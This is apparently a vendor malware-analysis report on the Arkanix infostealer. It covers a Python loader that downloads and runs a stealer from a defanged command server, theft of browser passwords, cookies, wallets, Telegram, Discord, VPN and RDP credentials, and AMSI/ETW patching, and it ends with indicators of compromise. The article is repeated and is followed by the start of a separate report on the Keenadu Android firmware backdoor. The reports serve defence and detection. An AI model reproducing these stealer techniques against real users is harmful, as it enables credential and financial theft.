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Arkanix Stealer: a C++ & Python infostealer

Introduction

In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed β€œArkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.

Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.

Technical details

Background

In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as β€œArkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.

Example of an Arkanix Stealer advertisement

Example of an Arkanix Stealer advertisement

Upon further research utilizing public resources, we identified a set of implants associated with this stealer.

Initial infection or spreading

The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.

Python loader

MD5 208fa7e01f72a50334f3d7607f6b82bf
File name discord_nitro_code_validator_right_aligned.py

The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.

Variants of Python loaders executing the next stage

Variants of Python loaders executing the next stage

Upon execution, the loader first installs the required packages β€” namely, requests, pycryptodome, and psutil β€” via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.

Python stealer version

MD5 af8fd03c1ec81811acf16d4182f3b5e1
File name –

During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.

The stealer’s capabilities β€” or features, as referred to by the author β€” in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.

Configurable options

Configurable options

Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the β€œdropper” by the attackers.

During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.

In the following, we will provide a more detailed description of the Python version’s data collection features.

System info collection

Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:

  • OS version
  • CPU and GPU info
  • RAM size
  • Screen resolution
  • Keyboard layout
  • Time zone
  • Installed software
  • Antivirus software
  • VPN

Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.

Browser features

This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:

  • Browser history (URLs, visit count and last visit)
  • Autofill information (email, phone, addresses and payment cards details)
  • Saved passwords
  • Cookies
  • In case of Chromium-based browsers, 0Auth2 data is also extracted

All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., β€œrevolut”, β€œstripe”, β€œbank”) and cryptocurrencies (e.g., β€œbinance”, β€œmetamask”, β€œwallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.

Part of the extension list which the stealer utilizes to extract data from

Part of the extension list which the stealer utilizes to extract data from

Telegram info collection

Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.

Discord capabilities

The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.

The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.

VPN data collection

The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:

  • Mullvad VPN
  • NordVPN
  • ExpressVPN
  • ProtonVPN

File retrieval

File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as β€œmotdepasse” (French for β€œpassword”), β€œbanque” (French for β€œbank”), β€œsecret” (French for β€œsecret”), and β€œcompte” (French for β€œaccount”).

Other payloads

We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the β€œDetails” column referring to the information that could be extracted from the main stealer code.

Module name Endpoint to download Details
Chrome grabber /api/chrome-grabber-template/{payload_id} –
Wallet patcher /api/wallet-patcher/{payload_id} Checks whether β€œExodus” and β€œAtomic” cryptocurrency wallets are installed
Extra collector /api/extra-collector/{payload_id} Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC /hvnc Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot

The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.

Decryption routine and template substitution

Decryption routine and template substitution

Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).

Native version of stealer

MD5 a3fc46332dcd0a95e336f6927bae8bb7
File name ArkanixStealer.exe

During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:

  • The release version employs VMProtect, but does not utilize code virtualization.
  • The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
  • The debug version includes extensive logging, presumably for the authors’ debugging purposes.

Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.

Version info

Version info

After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.

Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.

RDP connections

The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.

Gaming files

The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:

  • Steam
  • Epic Games Launcher
  • net
  • Riot
  • Origin
  • Unreal Engine
  • Ubisoft Connect
  • GOG

Screenshots

The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.

Post-exploitation browser data extractor

MD5 3283f8c54a3ddf0bc0d4111cc1f950c0
File name –

This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as β€œChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.

Infrastructure

During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.

Domain IP First seen ASN
arkanix[.]pw 195.246.231[.]60 Oct 09, 2025 –
arkanix[.]ru 172.67.186[.]193 Oct 19, 2025 –

Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.

Stealer panel sign-in page

Stealer panel sign-in page

Stealer promotion

During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed β€œArkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).

Feature votes

Feature votes

Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.

Arkanix Crypter

Arkanix Crypter

Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free β€œpremium” trial use. As stated in forum posts, the premium plan included the following features:

  • C++ native stealer
  • Exodus and Atomic cryptocurrency wallets injection
  • Increased payload generation, up to 10 payloads
  • Priority support
Referral program ad and corresponding panel interface

Referral program ad and corresponding panel interface

Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.

This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.

Example of LLM-specific patterns

Example of LLM-specific patterns

Conclusions

Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.

In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for β€œbringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0

Domains and IPs
arkanix[.]pw
arkanix[.]ru

  •  

Arkanix Stealer: a C++ & Python infostealer

Introduction

In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed β€œArkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.

Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.

Technical details

Background

In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as β€œArkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.

Example of an Arkanix Stealer advertisement

Example of an Arkanix Stealer advertisement

Upon further research utilizing public resources, we identified a set of implants associated with this stealer.

Initial infection or spreading

The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.

Python loader

MD5 208fa7e01f72a50334f3d7607f6b82bf
File name discord_nitro_code_validator_right_aligned.py

The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.

Variants of Python loaders executing the next stage

Variants of Python loaders executing the next stage

Upon execution, the loader first installs the required packages β€” namely, requests, pycryptodome, and psutil β€” via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.

Python stealer version

MD5 af8fd03c1ec81811acf16d4182f3b5e1
File name –

During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.

The stealer’s capabilities β€” or features, as referred to by the author β€” in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.

Configurable options

Configurable options

Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the β€œdropper” by the attackers.

During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.

In the following, we will provide a more detailed description of the Python version’s data collection features.

System info collection

Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:

  • OS version
  • CPU and GPU info
  • RAM size
  • Screen resolution
  • Keyboard layout
  • Time zone
  • Installed software
  • Antivirus software
  • VPN

Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.

Browser features

This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:

  • Browser history (URLs, visit count and last visit)
  • Autofill information (email, phone, addresses and payment cards details)
  • Saved passwords
  • Cookies
  • In case of Chromium-based browsers, 0Auth2 data is also extracted

All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., β€œrevolut”, β€œstripe”, β€œbank”) and cryptocurrencies (e.g., β€œbinance”, β€œmetamask”, β€œwallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.

Part of the extension list which the stealer utilizes to extract data from

Part of the extension list which the stealer utilizes to extract data from

Telegram info collection

Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.

Discord capabilities

The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.

The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.

VPN data collection

The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:

  • Mullvad VPN
  • NordVPN
  • ExpressVPN
  • ProtonVPN

File retrieval

File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as β€œmotdepasse” (French for β€œpassword”), β€œbanque” (French for β€œbank”), β€œsecret” (French for β€œsecret”), and β€œcompte” (French for β€œaccount”).

Other payloads

We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the β€œDetails” column referring to the information that could be extracted from the main stealer code.

Module name Endpoint to download Details
Chrome grabber /api/chrome-grabber-template/{payload_id} –
Wallet patcher /api/wallet-patcher/{payload_id} Checks whether β€œExodus” and β€œAtomic” cryptocurrency wallets are installed
Extra collector /api/extra-collector/{payload_id} Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC /hvnc Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot

The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.

Decryption routine and template substitution

Decryption routine and template substitution

Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).

Native version of stealer

MD5 a3fc46332dcd0a95e336f6927bae8bb7
File name ArkanixStealer.exe

During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:

  • The release version employs VMProtect, but does not utilize code virtualization.
  • The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
  • The debug version includes extensive logging, presumably for the authors’ debugging purposes.

Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.

Version info

Version info

After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.

Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.

RDP connections

The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.

Gaming files

The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:

  • Steam
  • Epic Games Launcher
  • net
  • Riot
  • Origin
  • Unreal Engine
  • Ubisoft Connect
  • GOG

Screenshots

The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.

Post-exploitation browser data extractor

MD5 3283f8c54a3ddf0bc0d4111cc1f950c0
File name –

This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as β€œChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.

Infrastructure

During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.

Domain IP First seen ASN
arkanix[.]pw 195.246.231[.]60 Oct 09, 2025 –
arkanix[.]ru 172.67.186[.]193 Oct 19, 2025 –

Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.

Stealer panel sign-in page

Stealer panel sign-in page

Stealer promotion

During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed β€œArkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).

Feature votes

Feature votes

Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.

Arkanix Crypter

Arkanix Crypter

Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free β€œpremium” trial use. As stated in forum posts, the premium plan included the following features:

  • C++ native stealer
  • Exodus and Atomic cryptocurrency wallets injection
  • Increased payload generation, up to 10 payloads
  • Priority support
Referral program ad and corresponding panel interface

Referral program ad and corresponding panel interface

Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.

This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.

Example of LLM-specific patterns

Example of LLM-specific patterns

Conclusions

Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.

In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for β€œbringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0

Domains and IPs
arkanix[.]pw
arkanix[.]ru

  •  

Divide and conquer: how the new Keenadu backdoor exposed links between major Android botnets

In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.

This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.

Our findings can be summarized as follows:

  • We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
  • A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
  • We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
  • One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
  • In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
  • Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.

The complete Keenadu infection chain looks like this:

Full infection diagram

Full infection diagram

Kaspersky solutions detect the threats described below with the following verdicts:

HEUR:Backdoor.AndroidOS.Keenadu.*
HEUR:Trojan-Downloader.AndroidOS.Keenadu.*
HEUR:Trojan-Clicker.AndroidOS.Keenadu.*
HEUR:Trojan-Spy.AndroidOS.Keenadu.*
HEUR:Trojan.AndroidOS.Keenadu.*
HEUR:Trojan-Dropper.AndroidOS.Gegu.*

Malicious dropper in libandroid_runtime.so

At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:

Call to the suspicious function

Call to the suspicious function

The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where β€œak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.

Payload decryption

Payload decryption

The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.

Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.

Launching system_server in Zygote

Launching system_server in Zygote

The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.

The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:

Keenadu backdoor execution flow

Keenadu backdoor execution flow

